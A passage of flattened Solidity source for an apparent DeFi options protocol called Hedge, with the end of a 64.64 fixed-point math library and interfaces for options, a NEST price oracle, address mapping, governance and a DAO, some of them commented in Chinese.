fixed point number */ function gavg (int128 x, int128 y) internal pure returns (int128) { unchecked { int256 m = int256 (x) * int256 (y); require (m >= 0); require (m < 0x4000000000000000000000000000000000000000000000000000000000000000); return int128 (sqrtu (uint256 (m))); } } /** * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y uint256 value * @return signed 64.64-bit fixed point number */ function pow (int128 x, uint256 y) internal pure returns (int128) { unchecked { bool negative = x < 0 && y & 1 == 1; uint256 absX = uint128 (x < 0 ? -x : x); uint256 absResult; absResult = 0x100000000000000000000000000000000; if (absX <= 0x10000000000000000) { absX <<= 63; while (y != 0) { if (y & 0x1 != 0) { absResult = absResult * absX >> 127; } absX = absX * absX >> 127; if (y & 0x2 != 0) { absResult = absResult * absX >> 127; } absX = absX * absX >> 127; if (y & 0x4 != 0) { absResult = absResult * absX >> 127; } absX = absX * absX >> 127; if (y & 0x8 != 0) { absResult = absResult * absX >> 127; } absX = absX * absX >> 127; y >>= 4; } absResult >>= 64; } else { uint256 absXShift = 63; if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; } if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; } if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; } if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; } if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; } if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; } uint256 resultShift = 0; while (y != 0) { require (absXShift < 64); if (y & 0x1 != 0) { absResult = absResult * absX >> 127; resultShift += absXShift; if (absResult > 0x100000000000000000000000000000000) { absResult >>= 1; resultShift += 1; } } absX = absX * absX >> 127; absXShift <<= 1; if (absX >= 0x100000000000000000000000000000000) { absX >>= 1; absXShift += 1; } y >>= 1; } require (resultShift < 64); absResult >>= 64 - resultShift; } int256 result = negative ? -int256 (absResult) : int256 (absResult); require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate sqrt (x) rounding down. Revert if x < 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sqrt (int128 x) internal pure returns (int128) { unchecked { require (x >= 0); return int128 (sqrtu (uint256 (int256 (x)) << 64)); } } /** * Calculate binary logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function log_2 (int128 x) internal pure returns (int128) { unchecked { require (x > 0); int256 msb = 0; int256 xc = x; if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; } if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore int256 result = msb - 64 << 64; uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb); for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) { ux *= ux; uint256 b = ux >> 255; ux >>= 127 + b; result += bit * int256 (b); } return int128 (result); } } /** * Calculate natural logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function ln (int128 x) internal pure returns (int128) { unchecked { require (x > 0); return int128 (int256 ( uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128)); } } /** * Calculate binary exponent of x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function exp_2 (int128 x) internal pure returns (int128) { unchecked { require (x < 0x400000000000000000); // Overflow if (x < -0x400000000000000000) return 0; // Underflow uint256 result = 0x80000000000000000000000000000000; if (x & 0x8000000000000000 > 0) result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128; if (x & 0x4000000000000000 > 0) result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128; if (x & 0x2000000000000000 > 0) result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128; if (x & 0x1000000000000000 > 0) result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128; if (x & 0x800000000000000 > 0) result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128; if (x & 0x400000000000000 > 0) result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128; if (x & 0x200000000000000 > 0) result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128; if (x & 0x100000000000000 > 0) result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128; if (x & 0x80000000000000 > 0) result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128; if (x & 0x40000000000000 > 0) result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128; if (x & 0x20000000000000 > 0) result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128; if (x & 0x10000000000000 > 0) result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128; if (x & 0x8000000000000 > 0) result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128; if (x & 0x4000000000000 > 0) result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128; if (x & 0x2000000000000 > 0) result = result * 0x1000162E525EE054754457D5995292026 >> 128; if (x & 0x1000000000000 > 0) result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128; if (x & 0x800000000000 > 0) result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128; if (x & 0x400000000000 > 0) result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128; if (x & 0x200000000000 > 0) result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128; if (x & 0x100000000000 > 0) result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128; if (x & 0x80000000000 > 0) result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128; if (x & 0x40000000000 > 0) result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128; if (x & 0x20000000000 > 0) result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128; if (x & 0x10000000000 > 0) result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128; if (x & 0x8000000000 > 0) result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128; if (x & 0x4000000000 > 0) result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128; if (x & 0x2000000000 > 0) result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128; if (x & 0x1000000000 > 0) result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128; if (x & 0x800000000 > 0) result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128; if (x & 0x400000000 > 0) result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128; if (x & 0x200000000 > 0) result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128; if (x & 0x100000000 > 0) result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128; if (x & 0x80000000 > 0) result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128; if (x & 0x40000000 > 0) result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128; if (x & 0x20000000 > 0) result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128; if (x & 0x10000000 > 0) result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128; if (x & 0x8000000 > 0) result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128; if (x & 0x4000000 > 0) result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128; if (x & 0x2000000 > 0) result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128; if (x & 0x1000000 > 0) result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128; if (x & 0x800000 > 0) result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128; if (x & 0x400000 > 0) result = result * 0x100000000002C5C85FDF477B662B26945 >> 128; if (x & 0x200000 > 0) result = result * 0x10000000000162E42FEFA3AE53369388C >> 128; if (x & 0x100000 > 0) result = result * 0x100000000000B17217F7D1D351A389D40 >> 128; if (x & 0x80000 > 0) result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128; if (x & 0x40000 > 0) result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128; if (x & 0x20000 > 0) result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128; if (x & 0x10000 > 0) result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128; if (x & 0x8000 > 0) result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128; if (x & 0x4000 > 0) result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128; if (x & 0x2000 > 0) result = result * 0x1000000000000162E42FEFA39F02B772C >> 128; if (x & 0x1000 > 0) result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128; if (x & 0x800 > 0) result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128; if (x & 0x400 > 0) result = result * 0x100000000000002C5C85FDF473DEA871F >> 128; if (x & 0x200 > 0) result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128; if (x & 0x100 > 0) result = result * 0x100000000000000B17217F7D1CF79E949 >> 128; if (x & 0x80 > 0) result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128; if (x & 0x40 > 0) result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128; if (x & 0x20 > 0) result = result * 0x100000000000000162E42FEFA39EF366F >> 128; if (x & 0x10 > 0) result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128; if (x & 0x8 > 0) result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128; if (x & 0x4 > 0) result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128; if (x & 0x2 > 0) result = result * 0x1000000000000000162E42FEFA39EF358 >> 128; if (x & 0x1 > 0) result = result * 0x10000000000000000B17217F7D1CF79AB >> 128; result >>= uint256 (int256 (63 - (x >> 64))); require (result <= uint256 (int256 (MAX_64x64))); return int128 (int256 (result)); } } /** * Calculate natural exponent of x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function exp (int128 x) internal pure returns (int128) { unchecked { require (x < 0x400000000000000000); // Overflow if (x < -0x400000000000000000) return 0; // Underflow return exp_2 ( int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128)); } } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return unsigned 64.64-bit fixed point number */ function divuu (uint256 x, uint256 y) private pure returns (uint128) { unchecked { require (y != 0); uint256 result; if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) result = (x << 64) / y; else { uint256 msb = 192; uint256 xc = x >> 192; if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1); require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 hi = result * (y >> 128); uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 xh = x >> 192; uint256 xl = x << 64; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here lo = hi << 128; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here assert (xh == hi >> 128); result += xl / y; } require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return uint128 (result); } } /** * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer * number. * * @param x unsigned 256-bit integer number * @return unsigned 128-bit integer number */ function sqrtu (uint256 x) private pure returns (uint128) { unchecked { if (x == 0) return 0; else { uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return uint128 (r < r1 ? r : r1); } } } } // File contracts/interfaces/IHedgeOptions.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev 定义欧式期权接口 interface IHedgeOptions { // // 代币通道配置结构体 // struct Config { // // 波动率 // uint96 sigmaSQ; // // 64位二进制精度 // // 0.3/365/86400 = 9.512937595129377E-09 // // 175482725206 // int128 miu; // // 期权行权时间和当前时间的最小间隔 // uint32 minPeriod; // } /// @dev 期权信息 struct OptionView { uint index; address tokenAddress; uint strikePrice; bool orientation; uint exerciseBlock; uint balance; } /// @dev 新期权事件 /// @param tokenAddress 目标代币地址,0表示eth /// @param strikePrice 用户设置的行权价格,结算时系统会根据标的物当前价与行权价比较,计算用户盈亏 /// @param orientation 看涨/看跌两个方向。true:看涨,false:看跌 /// @param exerciseBlock 到达该日期后用户手动进行行权,日期在系统中使用区块号进行记录 /// @param index 期权编号 event New(address tokenAddress, uint strikePrice, bool orientation, uint exerciseBlock, uint index); /// @dev 开仓事件 /// @param index 期权编号 /// @param dcuAmount 支付的dcu数量 /// @param owner 所有者 /// @param amount 买入份数 event Open( uint index, uint dcuAmount, address owner, uint amount ); /// @dev 行权事件 /// @param index 期权编号 /// @param amount 结算的期权分数 /// @param owner 所有者 /// @param gain 赢得的dcu数量 event Exercise(uint index, uint amount, address owner, uint gain); /// @dev 卖出事件 /// @param index 期权编号 /// @param amount 卖出份数 /// @param owner 所有者 /// @param dcuAmount 得到的dcu数量 event Sell(uint index, uint amount, address owner, uint dcuAmount); // /// @dev 修改指定代币通道的配置 // /// @param tokenAddress 目标代币地址 // /// @param config 配置对象 // function setConfig(address tokenAddress, Config calldata config) external; // /// @dev 获取指定代币通道的配置 // /// @param tokenAddress 目标代币地址 // /// @return 配置对象 // function getConfig(address tokenAddress) external view returns (Config memory); /// @dev 返回指定期权的余额 /// @param index 目标期权索引号 /// @param addr 目标地址 function balanceOf(uint index, address addr) external view returns (uint); /// @dev 查找目标账户的期权(倒序) /// @param start 从给定的合约地址对应的索引向前查询(不包含start对应的记录) /// @param count 最多返回的记录条数 /// @param maxFindCount 最多查找maxFindCount记录 /// @param owner 目标账户地址 /// @return optionArray 期权信息列表 function find( uint start, uint count, uint maxFindCount, address owner ) external view returns (OptionView[] memory optionArray); /// @dev 列出历史期权信息 /// @param offset Skip previous (offset) records /// @param count Return (count) records /// @param order Order. 0 reverse order, non-0 positive order /// @return optionArray 期权信息列表 function list(uint offset, uint count, uint order) external view returns (OptionView[] memory optionArray); /// @dev 获取已经开通的欧式期权代币数量 /// @return 已经开通的欧式期权代币数量 function getOptionCount() external view returns (uint); /// @dev 获取期权信息 /// @param tokenAddress 目标代币地址,0表示eth /// @param strikePrice 用户设置的行权价格,结算时系统会根据标的物当前价与行权价比较,计算用户盈亏 /// @param orientation 看涨/看跌两个方向。true:看涨,false:看跌 /// @param exerciseBlock 到达该日期后用户手动进行行权,日期在系统中使用区块号进行记录 /// @return 期权信息 function getOptionInfo( address tokenAddress, uint strikePrice, bool orientation, uint exerciseBlock ) external view returns (OptionView memory); /// @dev 预估开仓可以买到的期权币数量 /// @param tokenAddress 目标代币地址,0表示eth /// @param oraclePrice 当前预言机价格价 /// @param strikePrice 用户设置的行权价格,结算时系统会根据标的物当前价与行权价比较,计算用户盈亏 /// @param orientation 看涨/看跌两个方向。true:看涨,false:看跌 /// @param exerciseBlock 到达该日期后用户手动进行行权,日期在系统中使用区块号进行记录 /// @param dcuAmount 支付的dcu数量 /// @return amount 预估可以获得的期权币数量 function estimate( address tokenAddress, uint oraclePrice, uint strikePrice, bool orientation, uint exerciseBlock, uint dcuAmount ) external view returns (uint amount); /// @dev 开仓 /// @param tokenAddress 目标代币地址,0表示eth /// @param strikePrice 用户设置的行权价格,结算时系统会根据标的物当前价与行权价比较,计算用户盈亏 /// @param orientation 看涨/看跌两个方向。true:看涨,false:看跌 /// @param exerciseBlock 到达该日期后用户手动进行行权,日期在系统中使用区块号进行记录 /// @param dcuAmount 支付的dcu数量 function open( address tokenAddress, uint strikePrice, bool orientation, uint exerciseBlock, uint dcuAmount ) external payable; /// @dev 行权 /// @param index 期权编号 /// @param amount 结算的期权分数 function exercise(uint index, uint amount) external payable; /// @dev 卖出期权 /// @param index 期权编号 /// @param amount 卖出的期权分数 function sell(uint index, uint amount) external payable; /// @dev 计算期权价格 /// @param tokenAddress 目标代币地址,0表示eth /// @param oraclePrice 当前预言机价格价 /// @param strikePrice 用户设置的行权价格,结算时系统会根据标的物当前价与行权价比较,计算用户盈亏 /// @param orientation 看涨/看跌两个方向。true:看涨,false:看跌 /// @param exerciseBlock 到达该日期后用户手动进行行权,日期在系统中使用区块号进行记录 /// @return v 期权价格,需要除以18446744073709551616000000 function calcV( address tokenAddress, uint oraclePrice, uint strikePrice, bool orientation, uint exerciseBlock ) external view returns (uint v); } // File contracts/interfaces/INestPriceFacade.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This interface defines the methods for price call entry interface INestPriceFacade { /// @dev Find the price at block number /// @param tokenAddress Destination token address /// @param height Destination block number /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) function findPrice( address tokenAddress, uint height, address paybackAddress ) external payable returns (uint blockNumber, uint price); /// @dev Get the latest trigger price /// @param tokenAddress Destination token address /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) function triggeredPrice( address tokenAddress, address paybackAddress ) external payable returns (uint blockNumber, uint price); // /// @dev Price call entry configuration structure // struct Config { // // Single query fee(0.0001 ether, DIMI_ETHER). 100 // uint16 singleFee; // // Double query fee(0.0001 ether, DIMI_ETHER). 100 // uint16 doubleFee; // // The normal state flag of the call address. 0 // uint8 normalFlag; // } // /// @dev Modify configuration // /// @param config Configuration object // function setConfig(Config calldata config) external; // /// @dev Get configuration // /// @return Configuration object // function getConfig() external view returns (Config memory); // /// @dev Set the address flag. Only the address flag equals to config.normalFlag can the price be called // /// @param addr Destination address // /// @param flag Address flag // function setAddressFlag(address addr, uint flag) external; // /// @dev Get the flag. Only the address flag equals to config.normalFlag can the price be called // /// @param addr Destination address // /// @return Address flag // function getAddressFlag(address addr) external view returns(uint); // /// @dev Set INestQuery implementation contract address for token // /// @param tokenAddress Destination token address // /// @param nestQueryAddress INestQuery implementation contract address, 0 means delete // function setNestQuery(address tokenAddress, address nestQueryAddress) external; // /// @dev Get INestQuery implementation contract address for token // /// @param tokenAddress Destination token address // /// @return INestQuery implementation contract address, 0 means use default // function getNestQuery(address tokenAddress) external view returns (address); // /// @dev Get cached fee in fee channel // /// @param tokenAddress Destination token address // /// @return Cached fee in fee channel // function getTokenFee(address tokenAddress) external view returns (uint); // /// @dev Settle fee for charge fee channel // /// @param tokenAddress tokenAddress of charge fee channel // function settle(address tokenAddress) external; // /// @dev Get the latest trigger price // /// @param tokenAddress Destination token address // /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, // /// and the excess fees will be returned through this address // /// @return blockNumber The block number of price // /// @return price The token price. (1eth equivalent to (price) token) // function triggeredPrice( // address tokenAddress, // address paybackAddress // ) external payable returns (uint blockNumber, uint price); /// @dev Get the full information of latest trigger price /// @param tokenAddress Destination token address /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) /// @return avgPrice Average price /// @return sigmaSQ The square of the volatility (18 decimal places). The current implementation /// assumes that the volatility cannot exceed 1. Correspondingly, when the return value is equal to /// 999999999999996447, it means that the volatility has exceeded the range that can be expressed function triggeredPriceInfo( address tokenAddress, address paybackAddress ) external payable returns (uint blockNumber, uint price, uint avgPrice, uint sigmaSQ); // /// @dev Find the price at block number // /// @param tokenAddress Destination token address // /// @param height Destination block number // /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, // /// and the excess fees will be returned through this address // /// @return blockNumber The block number of price // /// @return price The token price. (1eth equivalent to (price) token) // function findPrice( // address tokenAddress, // uint height, // address paybackAddress // ) external payable returns (uint blockNumber, uint price); /// @dev Get the latest effective price /// @param tokenAddress Destination token address /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) function latestPrice( address tokenAddress, address paybackAddress ) external payable returns (uint blockNumber, uint price); // /// @dev Get the last (num) effective price // /// @param tokenAddress Destination token address // /// @param count The number of prices that want to return // /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, // /// and the excess fees will be returned through this address // /// @return An array which length is num * 2, each two element expresses one price like blockNumber|price // function lastPriceList( // address tokenAddress, // uint count, // address paybackAddress // ) external payable returns (uint[] memory); // /// @dev Returns the results of latestPrice() and triggeredPriceInfo() // /// @param tokenAddress Destination token address // /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, // /// and the excess fees will be returned through this address // /// @return latestPriceBlockNumber The block number of latest price // /// @return latestPriceValue The token latest price. (1eth equivalent to (price) token) // /// @return triggeredPriceBlockNumber The block number of triggered price // /// @return triggeredPriceValue The token triggered price. (1eth equivalent to (price) token) // /// @return triggeredAvgPrice Average price // /// @return triggeredSigmaSQ The square of the volatility (18 decimal places). The current implementation // /// assumes that the volatility cannot exceed 1. Correspondingly, when the return value is equal to // /// 999999999999996447, it means that the volatility has exceeded the range that can be expressed // function latestPriceAndTriggeredPriceInfo(address tokenAddress, address paybackAddress) // external // payable // returns ( // uint latestPriceBlockNumber, // uint latestPriceValue, // uint triggeredPriceBlockNumber, // uint triggeredPriceValue, // uint triggeredAvgPrice, // uint triggeredSigmaSQ // ); /// @dev Returns lastPriceList and triggered price info /// @param tokenAddress Destination token address /// @param count The number of prices that want to return /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return prices An array which length is num * 2, each two element expresses one price like blockNumber|price /// @return triggeredPriceBlockNumber The block number of triggered price /// @return triggeredPriceValue The token triggered price. (1eth equivalent to (price) token) /// @return triggeredAvgPrice Average price /// @return triggeredSigmaSQ The square of the volatility (18 decimal places). The current implementation /// assumes that the volatility cannot exceed 1. Correspondingly, when the return value is equal to /// 999999999999996447, it means that the volatility has exceeded the range that can be expressed function lastPriceListAndTriggeredPriceInfo( address tokenAddress, uint count, address paybackAddress ) external payable returns ( uint[] memory prices, uint triggeredPriceBlockNumber, uint triggeredPriceValue, uint triggeredAvgPrice, uint triggeredSigmaSQ ); // /// @dev Get the latest trigger price. (token and ntoken) // /// @param tokenAddress Destination token address // /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, // /// and the excess fees will be returned through this address // /// @return blockNumber The block number of price // /// @return price The token price. (1eth equivalent to (price) token) // /// @return ntokenBlockNumber The block number of ntoken price // /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken) // function triggeredPrice2( // address tokenAddress, // address paybackAddress // ) external payable returns ( // uint blockNumber, // uint price, // uint ntokenBlockNumber, // uint ntokenPrice // ); // /// @dev Get the full information of latest trigger price. (token and ntoken) // /// @param tokenAddress Destination token address // /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, // /// and the excess fees will be returned through this address // /// @return blockNumber The block number of price // /// @return price The token price. (1eth equivalent to (price) token) // /// @return avgPrice Average price // /// @return sigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that // /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447, // /// it means that the volatility has exceeded the range that can be expressed // /// @return ntokenBlockNumber The block number of ntoken price // /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken) // /// @return ntokenAvgPrice Average price of ntoken // /// @return ntokenSigmaSQ The square of the volatility (18 decimal places). The current implementation // /// assumes that the volatility cannot exceed 1. Correspondingly, when the return value is equal to // /// 999999999999996447, it means that the volatility has exceeded the range that can be expressed // function triggeredPriceInfo2( // address tokenAddress, // address paybackAddress // ) external payable returns ( // uint blockNumber, // uint price, // uint avgPrice, // uint sigmaSQ, // uint ntokenBlockNumber, // uint ntokenPrice, // uint ntokenAvgPrice, // uint ntokenSigmaSQ // ); // /// @dev Get the latest effective price. (token and ntoken) // /// @param tokenAddress Destination token address // /// @param paybackAddress As the charging fee may change, it is suggested that the caller pay more fees, // /// and the excess fees will be returned through this address // /// @return blockNumber The block number of price // /// @return price The token price. (1eth equivalent to (price) token) // /// @return ntokenBlockNumber The block number of ntoken price // /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken) // function latestPrice2( // address tokenAddress, // address paybackAddress // ) external payable returns ( // uint blockNumber, // uint price, // uint ntokenBlockNumber, // uint ntokenPrice // ); } // File contracts/interfaces/IHedgeMapping.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev The interface defines methods for Hedge builtin contract address mapping interface IHedgeMapping { /// @dev Set the built-in contract address of the system /// @param dcuToken Address of dcu token contract /// @param hedgeDAO IHedgeDAO implementation contract address /// @param hedgeOptions IHedgeOptions implementation contract address /// @param hedgeFutures IHedgeFutures implementation contract address /// @param hedgeVaultForStaking IHedgeVaultForStaking implementation contract address /// @param nestPriceFacade INestPriceFacade implementation contract address function setBuiltinAddress( address dcuToken, address hedgeDAO, address hedgeOptions, address hedgeFutures, address hedgeVaultForStaking, address nestPriceFacade ) external; /// @dev Get the built-in contract address of the system /// @return dcuToken Address of dcu token contract /// @return hedgeDAO IHedgeDAO implementation contract address /// @return hedgeOptions IHedgeOptions implementation contract address /// @return hedgeFutures IHedgeFutures implementation contract address /// @return hedgeVaultForStaking IHedgeVaultForStaking implementation contract address /// @return nestPriceFacade INestPriceFacade implementation contract address function getBuiltinAddress() external view returns ( address dcuToken, address hedgeDAO, address hedgeOptions, address hedgeFutures, address hedgeVaultForStaking, address nestPriceFacade ); /// @dev Get address of dcu token contract /// @return Address of dcu token contract function getDCUTokenAddress() external view returns (address); /// @dev Get IHedgeDAO implementation contract address /// @return IHedgeDAO implementation contract address function getHedgeDAOAddress() external view returns (address); /// @dev Get IHedgeOptions implementation contract address /// @return IHedgeOptions implementation contract address function getHedgeOptionsAddress() external view returns (address); /// @dev Get IHedgeFutures implementation contract address /// @return IHedgeFutures implementation contract address function getHedgeFuturesAddress() external view returns (address); /// @dev Get IHedgeVaultForStaking implementation contract address /// @return IHedgeVaultForStaking implementation contract address function getHedgeVaultForStakingAddress() external view returns (address); /// @dev Get INestPriceFacade implementation contract address /// @return INestPriceFacade implementation contract address function getNestPriceFacade() external view returns (address); /// @dev Registered address. The address registered here is the address accepted by Hedge system /// @param key The key /// @param addr Destination address. 0 means to delete the registration information function registerAddress(string calldata key, address addr) external; /// @dev Get registered address /// @param key The key /// @return Destination address. 0 means empty function checkAddress(string calldata key) external view returns (address); } // File contracts/interfaces/IHedgeGovernance.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This interface defines the governance methods interface IHedgeGovernance is IHedgeMapping { /// @dev Set governance authority /// @param addr Destination address /// @param flag Weight. 0 means to delete the governance permission of the target address. Weight is not /// implemented in the current system, only the difference between authorized and unauthorized. /// Here, a uint96 is used to represent the weight, which is only reserved for expansion function setGovernance(address addr, uint flag) external; /// @dev Get governance rights /// @param addr Destination address /// @return Weight. 0 means to delete the governance permission of the target address. Weight is not /// implemented in the current system, only the difference between authorized and unauthorized. /// Here, a uint96 is used to represent the weight, which is only reserved for expansion function getGovernance(address addr) external view returns (uint); /// @dev Check whether the target address has governance rights for the given target /// @param addr Destination address /// @param flag Permission weight. The permission of the target address must be greater than this weight /// to pass the check /// @return True indicates permission function checkGovernance(address addr, uint flag) external view returns (bool); } // File contracts/interfaces/IHedgeDAO.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This interface defines the DAO methods interface IHedgeDAO { /// @dev Application Flag Changed event /// @param addr DAO application contract address /// @param flag Authorization flag, 1 means authorization, 0 means cancel authorization event ApplicationChanged(address addr, uint flag); /// @dev Set DAO application /// @param addr DAO application contract address /// @param flag Authorization flag, 1 means authorization, 0 means cancel authorization function setApplication(address addr, uint flag) external; /// @dev Check DAO application flag /// @param addr DAO application contract address /// @return Authorization flag, 1 means authorization, 0 means cancel authorization function checkApplication(address addr) external view returns (uint); /// @dev Add reward /// @param pool Destination pool function addETHReward(address pool) external payable; /// @dev The function returns eth rewards of specified pool /// @param pool Destination pool function totalETHRewards(address pool) external view returns (uint); /// @dev Settlement /// @param pool Destination pool. Indicates which pool to pay with /// @param tokenAddress Token address of receiving funds (0 means ETH) /// @param to Address to receive /// @param value Amount to receive function settle(address pool, address tokenAddress, address to, uint value) external payable; } // File contracts/HedgeBase.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev Base contract of Hedge contract HedgeBase { /// @dev IHedgeGovernance implementation contract address address public _governance; /// @dev To support 